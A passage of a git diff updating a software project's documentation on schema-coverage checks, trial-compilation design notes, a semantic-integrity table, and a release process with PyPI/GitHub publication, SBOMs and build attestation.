`contracts/schemas/` is a normative published contract +(`ADR-009` §7). `tools/check_schema_publication.py` proves the *inventory*: +that the manifest and the tree agree, that each entry carries its stability +class and canonical content hash, that a stable schema evolves under +`ADR-061`, and that a removal leaves a tombstone. It does not ask whether +anything in the repository ever exercises the contract. + +`tools/check_schema_coverage.py` asks exactly that, by schema path, over the +whole published inventory. It runs as the `policy / published schema coverage` +stage of `nox -s policy`, so it sees the full tree on every run rather than the +changed-file set — a coverage repair can be undone by a deletion, and +`changed_paths()` excludes deletions. + +## The rule + +A published schema is **covered** when at least one of these holds. + +1. **Corpus coverage.** At least one checked-in artifact routes to that exact + schema path through the canonical corpus router, + `check_json_artifacts.covered_schema_paths()`. Those artifacts are precisely + what the contracts lane validates, so the evidence is executable rather than + declared. The set is non-empty by construction: an empty `valid/` directory, + a family with only `invalid/` cases, and a bare directory are all *not* + coverage. + +2. **Formal coverage.** The schema path is a `delivered_artifacts` entry of a + classified subsystem in `specs/formal/assurance-fulfillment.yaml` — usually + as that subsystem's `typed_ir_or_contract_coverage`. A `waived_artifacts` + entry never counts. A dated, tracked waiver records an unresolved + obligation, and relabelling one as delivered coverage is the failure this + distinction exists to prevent. + +3. **Declared alternate coverage.** The contract's publication record carries a + validated `coverage` association naming the concrete evidence that exercises + it, for a contract neither canonical route reaches. + +**A formal model is never required.** Leg 2 is one alternative among three. The +gate never reads an FM level, never infers FM applicability, and never turns a +missing formal association into "not applicable" — FM applicability belongs to +`specs/formal/assurance-policy.yaml` and `assurance-fulfillment.yaml` under +`tools/check_assurance_policy.py`. A structural contract passes on leg 1 alone. + +The denominator is the publication catalog read through +`load_schema_publication_catalog()`: draft and stable entries alike, with +`removed_schemas` tombstones excluded. Evidence is evaluated against the +schema as it is checked in now, so a contract's coverage claim is re-derived +whenever the contract changes. + +## Routing completeness + +Leg 1 is only as honest as the router behind it. A checked-in document that +names a published contract but that no route reaches is the silent hole this +rule exists to close: the contract can read as covered elsewhere while that +document drifts out of conformance with nothing to catch it. So every corpus +tree that holds documents naming their own contract is a row in +`_VERSIONED_SCHEMA_ROUTES` — the profile trees, `contracts/provenance/`, +`contracts/realization-envelopes/`, `contracts/concept-authority/history/` — +and `migration/` corpora route alongside `valid/` ones. +`test_every_checked_in_contract_payload_is_routed_or_frozen` holds the +invariant over the whole tree, so a new corpus tree cannot be added unrouted. + +Corpus trees are PR-controlled, so discovery applies the repository's +regular-file boundary (`is_regular_repo_file`) before it reads anything. A +tracked symlink is never dereferenced: `Path.is_file()` would follow one, and +both the schema-version read and `check-jsonschema` would then consume +whatever it resolves to on the runner, putting host-resident content into +policy diagnostics. The same boundary applies to declared evidence below. + +There is exactly one class of exception, and it is not a waiver. A document +pinned in `tools/policy/historical_identity_records.json` preserves a dated +fact in the shape its contract had when it was written, and +`tools/check_identity_cutover.py` pins it by content hash. It is not a live +document of the contract as published now: validating it against a later +revision would demand an edit that the pin forbids and that would destroy the +record. Those documents are excluded from routing, never from a contract's +coverage — the live document beside them still routes, which is why +`contracts/provenance/sdl-lineage-ledger-v1.json` is excluded while +`sdl-lineage-ledger-v2.json` carries the contract's corpus coverage. + +## Repairing a reported gap + +`[schema-coverage-missing]` names the schema path that has no evidence. Resolve +it against the contract's own validation and assurance rules, strongest first: + +1. **Route an existing payload.** When a real document of the contract already + sits in the tree unvalidated, add its source tree to + `_VERSIONED_SCHEMA_ROUTES` in `tools/check_json_artifacts.py`. The document + is then validated by the contracts lane and coverage follows derivatively. + This is a row in a table, never a per-contract branch in the coverage gate. +2. **Add a real example document.** Most contract families keep + `contracts/fixtures///{valid,invalid}/*.json`. A + positive case must satisfy the published schema and its reference model; a + negative case must be rejected by a named layer — the published schema for a + shape defect, the reference model for a schema-valid but semantics-invalid + one. Both layers are legitimate, and a negative case that nothing rejects is + not evidence. +3. **Declare the alternate evidence.** Where the contract has no standalone + document at all, record the association on the publication record. + +Do not bulk-create placeholder documents to turn the gate green, and do not +waive a finding through `tools/policy/exceptions.yaml` because a repair is +inconvenient. The waiver mechanism exists for a finding that is factually +wrong. + +## The `coverage` association + +`tools/check_schema_publication.py` does not validate unknown keys on a +publication record, so `tools/check_schema_coverage.py` owns this shape end to +end. In `contracts/schema-publication/entries/.json`: + +```json +"coverage": { + "rationale": "Why no conventional corpus route reaches this contract.", + "sources": [ + { + "kind": "embedded", + "path": "contracts/schemas/experiment-core/experiment-run-v1.json", + "pointer": "/x-raes-invariants/0", + "schema_pointer": "#/$defs/RaesSemanticInvariantEntryModel", + "supports": "The behavior and validation phase this source carries." + } + ] +} +``` + +- The key set is closed at both levels. `rationale` runs 20–500 characters and + each `supports` 10–200, naming the behavior and the validation phase rather + than restating the contract id. +- `sources` holds one to eight unique paths. One schema may cite several + sources, and several schemas may cite one shared source. +- Every path is checked with `safe_repo_path` and `is_regular_repo_file` — so a + symlinked component, an escaping path, and an irregular file are all rejected + — before anything is read, and every read is bounded. +- `kind: "fixture"` is a `.json` artifact under `contracts/` whose own + `schema_version` claims this contract, in either the `name-v1` or `name/v1` + spelling, **and which the gate then validates against the checked-in + published schema**. The claim is identity; the validation is the evidence. A + deliberately invalid corpus case carries the contract id and is therefore + rejected, as is a carrier that merely embeds a payload of the contract — a + carrier is not a payload of what it carries. +- `kind: "embedded"` names a node inside a carrier with an RFC 6901 `pointer`, + for a contract realized as part of another artifact rather than as a + standalone document. An optional `schema_pointer` of the form + `#/$defs/` selects the published definition the node must satisfy; the + gate resolves it locally against the published schema's own `$defs` and + validates the node. Several contracts may share one carrier at different + nodes, and one contract may cite several nodes. +- A contract id appearing in a list of strings, such as a manifest's + declared-contract inventory, is a mention and not a payload. + +Both kinds are computed, never trusted: the gate resolves the artifact and runs +the published schema over it on every run. That is why there is no kind for +"a test that exercises this contract" — a file containing nothing but the +contract's name would satisfy any reference check, so the gate could never +falsify the claim. Evidence the gate cannot falsify is not evidence. + +The gate proves that each named source conforms to the published schema; it +does not claim the source is semantically exhaustive. The `rationale`, the +`supports` text, and review of the diff carry that judgement. An association that produces any validation failure is reported as +`[schema-coverage-declaration-invalid]` and provides no coverage at all: a +stale or duplicated reference never passes on the strength of a sibling that +still resolves. The two rule ids are deliberately distinct, so a malformed +association reads differently from an absent one. + +## Reporting + +```console +$ uv run --project implementations/tooling/python --frozen --no-default-groups \ + python tools/check_schema_coverage.py --report +``` + +The report groups every published contract by its covering leg and never gates. +It is the quickest way to see which contracts rest on a declaration rather than +on executable corpus evidence. diff --git a/docs/explain/reference/scenario-variation-and-trial-realization.md b/docs/explain/reference/scenario-variation-and-trial-realization.md index d893308c4..82bba79f2 100644 --- a/docs/explain/reference/scenario-variation-and-trial-realization.md +++ b/docs/explain/reference/scenario-variation-and-trial-realization.md @@ -5,10 +5,12 @@ to archival experiment provenance. It applies ADR-084 to the package and artifact boundaries already established by ADR-036, ADR-053, ADR-055, ADR-065, ADR-068, ADR-074, and ADR-078. -Issue #652 is design-only. Names in the contract sketches are conceptual unless -ADR-084 says otherwise; follow-on issues publish the actual models and schemas. -The semantic boundaries, identities, phase order, and failure behavior are -binding and are not left for each implementation issue to rediscover. +Issue #652 supplied this normative design. Follow-on work has since published +the SCE-002 family/selection, admitted-plan, trial-compilation, realization, +and runtime-fact contract surfaces, together with focused tests. Names in this +reference remain conceptual unless a published contract or implementation binds +them. The semantic boundaries, identities, phase order, and failure behavior +remain binding and are not left for each implementation issue to rediscover. ## Scope And Claims @@ -25,10 +27,11 @@ The design covers: - linkage to the existing experiment run, study, apparatus, evidence, and lineage records. -The reference does not add a generator, sampler, trial compiler, scheduler, -persistence service, API, scenario pack, or adaptive policy. Follow-on issue -#791 implements the typed run-local fact contract and in-process binding plane -described below; the remaining conceptual sketches retain their issue-owned +The reference itself does not add a generator, sampler, trial compiler, +scheduler, persistence service, API, scenario pack, or adaptive policy. The +delivered follow-on slices include the typed run-local fact contract and +in-process binding plane, deterministic trial compilation, and sealed-entry +realization; remaining conceptual sketches retain their explicit implementation boundaries. It does not guarantee identical backend behavior, artifact availability, reconstruction of hidden state, or exact replay from a seed alone. @@ -471,6 +474,33 @@ It does not contain queue state, worker assignment, mutable status, live snapshots, backend-private objects, raw evidence, secret values, environment dumps, or result summaries. +### Mixed-composition admission + +An entry has one closed realization binding. Legacy entries retain the exact +single-realizer apparatus binding and `trial-compiler-v1` identity bytes. A +composition-bound entry instead names one digest-pinned +`mixed-participant-composition-profile-v1` input and uses the governed +`trial-compiler-mixed-composition-v1` identity domain. Every canonical trial +coordinate has exactly one explicit assignment; apparatus availability, +scheduler placement, retry state, map order, and ambient configuration cannot +select or replace it. + +Before sealing, the compiler recomputes the provenance-free selected-scenario +snapshot for that coordinate and resolves the profile through the existing +trusted composition context. Admission checks exact component manifests and +envelopes, provider-local API-407 feature support, allocation effect coverage, +authority and policy joins, clocks and mappings, evidence, bounded nested +profiles, and all-phase cleanup/isolation resources. One failed coordinate or +component rejects the complete plan. The profile remains the sole owner of its +finite phase schedule; the batch scheduler still schedules whole trial entries +only. + +A linked alternative realization carries one exact already-sealed source +plan/entry/run tuple. The source must bind the same authoring input, task, +scenario family, and admitted selected snapshot, while the target receives new +plan, entry, run, and digest identities. The compiler never fetches or walks an +unbounded lineage graph. + ### Failure taxonomy At minimum, implementations distinguish: @@ -746,6 +776,12 @@ Its public processor-plan projections are digest-bound as provisioning, orchestration, and evaluation references; the internal execution plan is not a portable authority. +That bridge deliberately rejects composition-bound entries before backend +selection. Mixed runtime coordination, phase transition commits, provider +handoff, and live dispatch belong to the separately versioned runtime +coordination boundary; admission does not silently choose a component or claim +that mixed execution occurred. + The instantiated scenario carries the plan, entry, coordinate, selected members, and parameter-binding lineage without copying protected runtime fact values. An `experiment-run-v1` may add `trial_provenance` to bind its diff --git a/docs/explain/reference/shared-semantic-integrity.md b/docs/explain/reference/shared-semantic-integrity.md index a72b590c3..a4466d2f1 100644 --- a/docs/explain/reference/shared-semantic-integrity.md +++ b/docs/explain/reference/shared-semantic-integrity.md @@ -241,7 +241,7 @@ so they are tracked by their own requirements, not here. | Planner dependency, ordering, refresh, and applicability semantics | RUN-303 | planning | `implementations/python/packages/raes_processor/semantics/planner.py`, `implementations/python/packages/raes_processor/planner/__init__.py`, `specs/formal/planner/README.md`, `specs/formal/planner/dependency-ordering.md`, `implementations/python/tests/test_semantics_planner.py`, `implementations/python/tests/test_runtime_planner.py` | active | | Live execution state and lifecycle (snapshots, results, history) | RUN-304, API-402 | execution, observation | `implementations/python/packages/raes_runtime/manager.py`, `implementations/python/packages/raes_runtime/result_contracts.py`, `implementations/python/packages/raes_processor/models/`, `implementations/python/tests/test_runtime_manager.py`, `implementations/python/tests/test_runtime_models.py` | active | | Runtime result and evaluator-result contracts | ASR-503, API-402 | execution, observation | `implementations/python/packages/raes_runtime/result_contracts.py`, `specs/formal/runtime-contracts/README.md`, `specs/formal/runtime-contracts/workflow-results.md`, `specs/formal/runtime-contracts/evaluator-results.md`, `implementations/python/tests/test_runtime_contracts.py`, `implementations/python/tests/test_run_311_participant_episode_lifecycle.py` | active | -| Control-plane semantics (auth, durable state, idempotency, audit) | API-403, API-404 | execution, observation | `implementations/python/packages/raes_contracts/operation_lifecycle.py`, `implementations/python/packages/raes_contracts/contracts/operation_carriers.py`, `implementations/python/packages/raes_runtime/control_plane_operation_context.py`, `implementations/python/packages/raes_runtime/control_plane_admission.py`, `implementations/python/packages/raes_runtime/control_plane_api/__init__.py`, `implementations/python/packages/raes_runtime/control_plane_security.py`, `implementations/python/packages/raes_runtime/control_plane_store.py`, `implementations/python/packages/raes_runtime/control_plane_store_local.py`, `implementations/python/packages/raes_runtime/control_plane_store_paths.py`, `specs/formal/runtime-control-plane/README.md`, `docs/decisions/issue-1092-local-control-plane-durability-preflight.md`, `implementations/python/tests/test_issue_1182_operation_lifecycle_contract.py`, `implementations/python/tests/test_runtime_control_plane.py`, `implementations/python/tests/test_runtime_control_plane_api.py`, `implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py` | active | +| Control-plane semantics (auth, durable state, idempotency, audit) | API-403, API-404 | execution, observation | `implementations/python/packages/raes_contracts/operation_lifecycle.py`, `implementations/python/packages/raes_contracts/contracts/operation_carriers.py`, `implementations/python/packages/raes_runtime/control_plane_operation_context.py`, `implementations/python/packages/raes_runtime/control_plane_admission.py`, `implementations/python/packages/raes_runtime/control_plane_api/__init__.py`, `implementations/python/packages/raes_runtime/control_plane_security.py`, `implementations/python/packages/raes_runtime/control_plane_store.py`, `implementations/python/packages/raes_runtime/control_plane_store_local.py`, `implementations/python/packages/raes_runtime/control_plane_store_paths.py`, `specs/formal/runtime-control-plane/README.md`, `docs/decisions/issue-1092-local-control-plane-durability-preflight.md`, `docs/decisions/issue-1183-store-ownership-lease-preflight.md`, `implementations/python/tests/test_issue_1182_operation_lifecycle_contract.py`, `implementations/python/tests/test_runtime_control_plane.py`, `implementations/python/tests/test_runtime_control_plane_api.py`, `implementations/python/tests/test_issue_1092_control_plane_crash_consistency.py`, `implementations/python/tests/test_issue_1183_store_ownership_leases.py` | active | | Backend and processor identity, capability, and compatibility manifests | API-401, API-412 | planning, execution | `implementations/python/packages/raes_processor/manifest.py`, `implementations/python/packages/raes_processor/capabilities.py`, `implementations/python/packages/raes_contracts/apparatus.py`, `implementations/python/packages/raes_contracts/manifest_authority.py`, `implementations/python/tests/test_backend_manifest.py`, `implementations/python/tests/test_processor_manifest.py` | active | | Concept authority, controlled vocabularies, reference models, and semantic profiles (meta-layer) | GOV-920 | authoring, validation, compilation, planning, execution | `specs/concept-authority/concept-authority.md`, `specs/concept-authority/semantic-profiles.md`, `implementations/python/packages/raes_contracts/semantic_profiles.py`, `implementations/python/packages/raes_contracts/controlled_vocabularies.py`, `implementations/python/packages/raes_contracts/reference_models.py`, `docs/explain/reference/shared-concept-model.md`, `implementations/python/tests/test_concept_authority.py`, `implementations/python/tests/test_semantic_profiles.py` | active | | Participant episode lifecycle boundaries and authored episode structure (initialization, reset, completion, timeout, truncation, interruption) | RUN-311, SEM-222, DSL-120, ACT-623 | authoring, validation, execution, observation | `docs/decisions/adrs/adr-013-participant-episode-lifecycle-boundaries.md`, `docs/decisions/adrs/adr-054-participant-runtime-observable-lifecycle.md`, `specs/formal/participant-episode-model/README.md`, `docs/decisions/issue-122-sem-222-episode-budget-model-preflight.md`, `implementations/python/packages/raes_contracts/participant_episode_closure.py`, `implementations/python/packages/raes_runtime/participant_result_contracts.py`, `implementations/python/tests/test_run_311_participant_episode_lifecycle.py`, `implementations/python/tests/test_sem_222_episode_termination_semantics.py`, `implementations/python/tests/test_sem_222_episode_termination_oracle.py` | partial | @@ -263,3 +263,5 @@ so they are tracked by their own requirements, not here. | Explicitness and realization semantics (binding declarations vs processor/backend realization) | SEM-218 | authoring, validation, instantiation, compilation, planning, execution, observation | `specs/formal/realization/explicitness-and-realization.md`, `specs/formal/realization/README.md`, `docs/explain/reference/explicitness-realization-semantics.md`, `implementations/python/packages/raes/explicitness.py`, `implementations/python/packages/raes/realization_designation.py`, `implementations/python/packages/raes/phase_contracts.py`, `implementations/python/packages/raes/validator/__init__.py`, `implementations/python/packages/raes/instantiate.py`, `implementations/python/packages/raes_contracts/apparatus.py`, `implementations/python/packages/raes_contracts/vocabulary.py`, `implementations/python/packages/raes_contracts/contracts/__init__.py`, `implementations/python/packages/raes_contracts/runtime_state.py`, `implementations/python/packages/raes_backend_protocols/manifest.py`, `implementations/python/packages/raes_processor/compiler/__init__.py`, `implementations/python/packages/raes_processor/models/`, `implementations/python/packages/raes_processor/planner/__init__.py`, `implementations/python/packages/raes_processor/semantics/realization.py`, `implementations/python/packages/raes_runtime/backend_calls.py`, `implementations/python/packages/raes_runtime/manager.py`, `implementations/python/packages/raes_runtime/control_plane_store.py`, `implementations/python/packages/raes_runtime/control_plane_api_models.py`, `implementations/python/tests/test_sem_218_explicitness.py`, `implementations/python/tests/test_sem_218_realization.py`, `implementations/python/tests/test_sem_218_realization_designation.py`, `implementations/python/tests/test_sem_218_runtime_realization.py`, `implementations/python/tests/test_issue_1043_realization_corroboration.py`, `implementations/python/tests/test_runtime_planner.py`, `implementations/python/tests/test_backend_manifest.py`, `implementations/python/tests/test_processor_manifest.py`, `implementations/python/tests/test_runtime_contracts.py` | active | | Clock, time-domain, advancement/pacing/synchronization, and temporal ordering/causality semantics | SEM-227, SEM-228, SEM-229, API-421, ASR-528, EXP-734 | authoring, validation, compilation, planning, execution, observation | `specs/formal/time-model/README.md`, `docs/decisions/adrs/adr-090-shared-time-domain-clock-and-progression-authority.md`, `docs/decisions/adrs/adr-091-portable-time-capability-control-and-provenance-contracts.md`, `implementations/python/packages/raes_contracts/contracts/time_model.py`, `implementations/python/packages/raes_backend_protocols/capability_admission.py`, `implementations/python/packages/raes_runtime/time_coordinator.py`, `implementations/python/packages/raes_conformance/time_semantics.py`, `implementations/python/tests/test_sem_227_shared_time_model.py`, `implementations/python/tests/test_api_421_time_contracts.py` | active | | Deterministic benign participant execution under shared time | DSL-437 | authoring, validation, compilation, planning, execution, observation | `specs/formal/participant-semantics/autonomous-execution.md`, `docs/decisions/adrs/adr-092-autonomous-benign-participants-under-shared-time.md`, `contracts/schemas/participant-runtime/participant-execution-binding-v1.json`, `contracts/schemas/participant-runtime/participant-execution-control-v1.json`, `contracts/schemas/participant-runtime/participant-execution-service-state-v1.json`, `implementations/python/packages/raes/participant_execution.py`, `implementations/python/packages/raes/semantics/participant_behavior/__init__.py`, `implementations/python/packages/raes_backend_protocols/capability_admission.py`, `implementations/python/packages/raes_backend_protocols/participant_execution_service.py`, `implementations/python/packages/raes_runtime/participant_scheduler.py`, `implementations/python/packages/raes_runtime/participant_clock_driver.py`, `implementations/python/packages/raes_backend_protocols/participant_runtime_base.py`, `implementations/python/packages/raes_contracts/participant_autonomous_state.py`, `implementations/python/tests/test_dsl_437_benign_participant_execution.py`, `implementations/python/tests/test_issue_898_participant_execution_control.py`, `implementations/python/tests/test_dsl_437_evaluation_authority.py`, `implementations/python/tests/test_dsl_437_snapshot_durability_conformance.py` | active | + +| Modular participant-control profiles, extensible dynamic IFC and governed effect composition (published semantics; executable realization separate) | SEM-235 | validation, execution, observation | `specs/formal/participant-semantics/modular-participant-control.md`, `implementations/python/tests/sem235_modular_control_model.py`, `implementations/python/tests/test_sem_235_modular_control.py` | partial | diff --git a/docs/explain/releasing.md b/docs/explain/releasing.md index 2a3db6b43..46f111c08 100644 --- a/docs/explain/releasing.md +++ b/docs/explain/releasing.md @@ -16,37 +16,73 @@ verification graph to pass for the exact commit named by the release (GOV-928). 1. Feature PRs **squash-merge** (into `dev`, then promoted to `main`) with a Conventional Commit **PR title** — the squashed commit is what release-please reads. The required `title-guard` check enforces the shape. -2. On every push to `main`, `.github/workflows/release-please.yml` maintains a - **release PR** titled `chore(main): release X.Y.Z` that bumps the version and - regenerates `CHANGELOG.md` from the commits since the last release. +2. On a push to `main` containing a releasable Conventional Commit, + `.github/workflows/release-please.yml` maintains a **release PR** titled + `chore(main): release X.Y.Z` that bumps the version and regenerates + `CHANGELOG.md` from the commits since the last release. Documentation and + maintenance-only pushes do not create a release PR. 3. **Merge that release PR.** Release Please tags `vX.Y.Z`, creates a **draft** GitHub Release, and returns the commit SHA that it tagged. Forced tag creation keeps draft releases discoverable by Release Please. The release workflow requires that tag and SHA to match and that the commit belong to `main`. 4. The workflow invokes `.github/workflows/canonical-verification.yml` for that - exact SHA. This is the same proof-bearing `nox -s verify` gate used by CI. - It does not poll branch status or accept a check from another commit. + exact SHA. This is the same proof-bearing, exact-commit verification graph + used by CI: the same nox test, coverage, policy, contract, and proof lanes, + now distributed across concurrent jobs, with the same 90% coverage floor. The + release caller leaves the SonarCloud quality gate disabled. It does not poll + branch status or accept a check from another commit. 5. A separate read-only job checks out that SHA and must complete the RUN-314 - reference-backend tests against a real container runtime. Release-required - mode fails when the runtime or digest-pinned reviewed image is unavailable, - when pytest collects zero tests, or when any selected test skips. The - ordinary PR/local Docker lane remains optional. + reference-backend tests against a real container runtime. Before the lane + runs, the native runtime pulls the pinned platform manifest from the public + registry. The lane verifies daemon OS, architecture, and uncompressed layer + identities against `implementations/tooling/artifacts.lock.json`. + Release-required mode fails when the runtime or reviewed image is unavailable, + its identity differs, pytest collects zero tests, or any selected test skips. + Retired mirror/pre-seed environment switches are rejected. The ordinary + PR/local Docker lane remains optional. 6. A read-only job checks out the verified SHA, builds the corpus-bundled wheel and sdist, checks the corpus in both archives, installs each exact artifact in its own fresh environment, and runs `raes conformance backend --profile provisioning-only` outside the checkout. -7. Only those tested distributions cross into the `pypi` environment. After any - environment approval and artifact download, the job freshly revalidates the - Release object id, draft state, exact tag ref, and fully dereferenced commit - SHA immediately before its pinned OIDC publisher runs. A separate GitHub-only - job performs the same identity checks again, attaches the artifacts, and - re-reads the Release identity after attachment before making the exact - numeric Release id public. Keeping these jobs separate means a failed - attachment/finalization can be retried without attempting a second PyPI - upload. If the public-finalization response was lost after GitHub applied - it, the retry accepts the already-public Release only after downloading and - byte-comparing both attached distributions and rechecking the id, tag, and - commit SHA. +7. An admission job downloads those distributions and their evidence, runs the + full evidence admission, and checks that the admitted wheel and sdist + filenames correspond to the resolved tag version. Because it is the last job + permitted to run repository code, it is the trust bridge: on success it + exports only four validated scalars — the wheel and sdist basenames and + their SHA-256 digests — as job outputs. A refused release exports nothing. +8. Only those tested distributions cross into the `pypi` environment. Each + publisher independently downloads the artifact, requires exactly the two + admitted filenames, and rehashes the bytes against the admitted digests + immediately before its destination operation. Neither publisher checks out + or executes repository source, so publication credentials never coexist + with candidate code in the same job; the identity checks they need are made + over the API. +9. Each destination is then reconciled independently — this is deliberately + not a transaction: + - **PyPI.** The workflow queries the release's JSON API before uploading. + PyPI reports a SHA-256 for every file it stores, so an "already exists" + answer is never taken as proof of byte identity. Every expected file + already present with matching bytes means there is nothing to upload; a + missing file leaves that upload pending; a same-name file with different + bytes fails the run. An unreachable or unexpected API response fails + rather than being read as "not published". + - **GitHub.** The job revalidates the Release object id, draft state, exact + tag ref, and fully dereferenced commit SHA, then reconciles every asset + it writes — both distributions and the retained evidence — one at a time. + GitHub publishes no server-side asset digest, so presence comes from the + Release's asset listing and identity from a byte comparison. Exactly three + outcomes are allowed: matching existing bytes (already published), + confirmed absence (upload, then read the stored bytes back and compare), + or failure. An asset listing or download that does not succeed is never + read as absence, so a transient API error cannot become an overwrite, and + nothing is ever overwritten. The Release identity is re-read after + attachment before the numeric Release id is made public. + + Keeping these jobs separate means a failed attachment or finalization is + retried without attempting a second PyPI upload. If the public-finalization + response was lost after GitHub applied it, the retry accepts the + already-public Release only after downloading and byte-comparing both + attached distributions and rechecking the id, tag, and commit SHA. GitHub exposes draft Releases only to push-capable identities. Consequently, the release-resolution job and the pre-PyPI revalidation job each need @@ -57,8 +93,9 @@ for attachment and publication. Checkouts in either write-scoped job must not persist the elevated credential, and the permission correction must not introduce a PAT or long-lived publication secret. -Nothing is hand-run, and feature PRs never touch `CHANGELOG.md` (release-please -owns it) — no fragment collisions. +The maintainer authorizes a release by merging its Release Please PR; artifact +building and publication are automated afterward. Feature PRs never touch +`CHANGELOG.md` (release-please owns it), so there are no fragment collisions. ## Version rubric (PR-title type → bump) @@ -67,15 +104,21 @@ owns it) — no fragment collisions. | `feat` | yes | minor | | `fix`, `perf` | yes | patch | | `feat!` / `fix!` / `BREAKING CHANGE:` footer | yes | major (pre-1.0 demoted to minor) | -| `docs`, `chore`, `refactor`, `test`, `ci`, `build` | no | — | +| `docs`, `style`, `chore`, `refactor`, `test`, `ci`, `build` | no | — | +The Python Release Please strategy normally includes `docs` in visible release +notes. `release-please-config.json` explicitly hides that section alongside +maintenance types, so a documentation-only change does not produce release +notes and therefore does not propose a release. A later `feat:`, `fix:`, or +`perf:` can still produce a release and include those changes in its history. Use `feat:`/`fix:` for consumer-visible changes so release-please cuts a release. ## Configuration - `release-please-config.json` — package at repo root (so `CHANGELOG.md` stays at - the root), `release-type: python`, `package-name: raes`. The actual version - literal lives in a dedicated RAES package file and is bumped via `extra-files` + the root), `release-type: python`, `package-name: raes`, and explicit + changelog-section visibility. The actual version literal lives in a dedicated + RAES package file and is bumped via `extra-files` (`implementations/python/packages/raes/_version.py`). - `.release-please-manifest.json` — the version source of truth: `{".": "X.Y.Z"}`. - `implementations/python/packages/raes/_version.py` — build version source @@ -89,6 +132,67 @@ Use `feat:`/`fix:` for consumer-visible changes so release-please cuts a release - `release-please-config.json` creates releases as drafts and forces the tag to exist immediately. Only the gated GitHub publication job removes draft state. +## Release evidence: SBOM, build inventory, and provenance + +Every release produces evidence bound to the exact bytes it publishes (#1226): + +- **Runtime SBOMs** in CycloneDX 1.6, one for the wheel and one for the sdist. + Each names the distribution's runtime dependency closure with its dependency + edges, and binds the SHA-256 of the artifact it describes. +- **A build/tool/native input inventory**, recorded separately from runtime + dependencies. It carries the interpreter and closure profile, the build + backend, the reviewed tool inputs, the pinned actions, and the lock and policy + hashes, along with the repository, source commit, producer workflow, run id, + and run attempt. +- **A release evidence index** binding the published subject set and every + evidence document by size and digest. + +The runtime SBOM is **not** a dump of the smoke environment. That environment +installs the full projected requirements and then the candidate with +`--no-deps`, so it also holds the published `dev` and `docs` extras — reading it +back would file Sphinx and pytest as runtime dependencies of `raes`. The closure +is instead reconciled from three independent sources: the built wheel's own +`Requires-Dist` metadata, the reviewed lock, and the observed installation. Any +disagreement fails the release rather than silently dropping a dependency edge. + +The wheel, the original sdist, and the wheel rebuilt from that sdist are three +distinct subjects. The sdist SBOM binds the original `.tar.gz`; the rebuilt +wheel is recorded as a derived test subject and never stands in for either +published artifact. + +### How it is signed and admitted + +Signing runs in its own `attest-release` job through +`actions/attest-build-provenance`. That job checks out nothing, holds no PyPI +environment and no `contents: write`, and measures the bytes it received before +signing them — so an attestation credential cannot authorize publication. + +A separate `admit-release` job then verifies each subject with +`gh attestation verify`, pinned to the issuer, repository, and signer workflow +recorded in `implementations/tooling/admission-policy.json`. Those approved +identities come from reviewed policy, never from the bundle being verified. Both +publishers depend on that job, so absent or rejected evidence blocks the handoff +instead of being an optional report. A cryptographically valid signature over +the wrong repository, workflow, run, attempt, or subject is a rejection. + +### Where it is retained + +The evidence is attached to the GitHub Release beside the wheel and sdist, and +read back and digest-compared after upload. It is therefore available as a +Release asset after the seven-day Actions artifact retry window; no enterprise +retention service or separate copy is a prerequisite for public publication. + +### Verifying a release as a consumer + +```console +$ gh attestation verify raes-1.2.3-py3-none-any.whl \ + --repo OpenRAE/rae \ + --signer-workflow OpenRAE/rae/.github/workflows/release-please.yml +``` + +Download the SBOM and build inventory from the same Release to inspect the +recorded dependency closure and build inputs. + ## Release bookkeeping does not re-run checks The release PR, the `main` → `dev` back-merge PR opened by the `sync-dev` job, @@ -130,50 +234,89 @@ must not grant itself permission to rewrite live organization rulesets. This ruleset remains a maintainer-owned external control and a release-readiness requirement. -## Manual recovery publish - -`workflow_dispatch` accepts an existing GitHub Release tag when a prior upload -needs to be retried. The tag must be stable SemVer (`vX.Y.Z`), resolve to a -commit reachable from `main`, and have a policy base. The workflow resolves it -once to a full SHA and runs the same canonical verification, build, corpus -checks, exact wheel and sdist installation/conformance smokes, and OIDC -publication chain. PyPI upload and GitHub attachment are separate jobs, so use -GitHub's **re-run failed jobs** operation if attachment or finalization fails -after PyPI succeeds. -For a draft created by an older run that failed before PyPI publication, invoke -the current workflow from the default branch with that existing tag rather than -re-running the stale workflow definition. This preserves the bound tag, commit, -and numeric Release identity while applying the current publication gates. -Manual dispatch is not a verification bypass and never builds from the current -branch head. +## Recovering a partial publication + +Publication is two independently reconciled destinations, so a run that +published to PyPI and then failed on GitHub is a normal, recoverable state. The +governing rule is that recovery republishes **the original tested bytes** and +never rebuilds a new artifact under an existing version. + +**Start here: re-run the failed jobs on the original run.** In the Actions UI, +open the release run and use **re-run failed jobs**. This reuses that run's own +distribution and evidence artifacts, so `build-release` does not run again and +the bytes are the ones that were admitted. The publishers reconcile each +destination and complete only what is outstanding: + +| Observed state | What the re-run does | +| --- | --- | +| PyPI published, GitHub not attached | Skips the PyPI upload (digests already match) and attaches/finalizes GitHub. | +| PyPI partially uploaded | Uploads only the missing file; the present one is verified byte-identical first. | +| GitHub asset or evidence already attached | Leaves it in place after a byte comparison. | +| Outcome uncertain (lost API response) | Queries each destination and compares bytes before doing anything. | +| Destination query itself fails | Stops. An unavailable answer is never read as "not published". | +| Same version, different bytes at a destination | Fails visibly. See below. | -## First release +Actions artifacts are retained for **seven days**. Within that window the +re-run is the whole procedure. -`main` starts at `0.18.0` (the manifest/pyproject baseline; the historical -changelog through `0.18.0` is preserved in `CHANGELOG.md`). The first `feat:`/ -`fix:` merged to `main` after adoption produces a release PR bumping from -`0.18.0`; merging it publishes the first PyPI artifact. +**If the artifacts have aged out.** The distribution artifact is the only +source of publishable bytes; no publisher can rebuild. When the download fails, +that failure *is* the diagnosis: stop. Do not dispatch a fresh run to recreate +the version — a rebuild is not guaranteed to reproduce the published bytes, and +replacing an already-published version silently is exactly what this design +forbids. Cut a new patch release through the normal reviewed process instead. +The release evidence itself outlives the artifact window, because it is +attached to the durable GitHub Release. + +**A same-version digest mismatch is an incident, not a retry.** If PyPI or the +Release already stores a file under an expected name with different bytes, the +run fails and says so. Do not overwrite it, move the tag, or rebuild. Establish +where the divergent bytes came from, then publish a new version. + +### Dispatching the workflow for an existing tag + +`workflow_dispatch` accepts an existing stable-SemVer tag (`vX.Y.Z`) that +resolves to a commit reachable from `main` and has a policy base. The workflow +resolves it once to a full SHA and runs the whole graph — canonical +verification, the required real-container lane, build, corpus checks, the exact +wheel and sdist installation/conformance smokes, evidence admission, and the +OIDC publication chain. + +Use this for a draft created by an older run that failed **before** PyPI +publication: it preserves the bound tag, commit, and numeric 